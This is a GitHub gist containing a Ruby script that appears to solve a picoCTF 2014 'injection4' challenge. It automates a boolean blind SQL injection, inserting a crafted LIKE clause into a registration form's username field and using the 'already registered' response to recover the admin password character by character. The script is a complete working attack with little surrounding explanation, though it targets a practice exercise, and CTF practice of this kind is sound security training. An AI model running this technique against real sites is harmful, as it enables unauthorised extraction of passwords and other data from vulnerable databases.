Skip to content

Instantly share code, notes, and snippets.

@jherman3
Created November 27, 2014 18:37
Show Gist options
  • Save jherman3/5dba700c24a0d692ef2c to your computer and use it in GitHub Desktop.
Save jherman3/5dba700c24a0d692ef2c to your computer and use it in GitHub Desktop.
require 'mechanize'
require 'pry'
URL = 'http://web2014.picoctf.com/injection4/'
INJECTION = "admin' AND password LIKE '"
CHARS = ("a".."z").to_a
agent = Mechanize.new
page = agent.get URL
form = page.forms[1]
flag = ""
solved = false
until solved
solved = true
CHARS.each do |char|
form.username = INJECTION + flag + char + "%"
new_page = agent.submit(form)
if new_page.body.include? "Someone has already registered"
flag += char
print char
solved = false
break
end
end
end
puts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment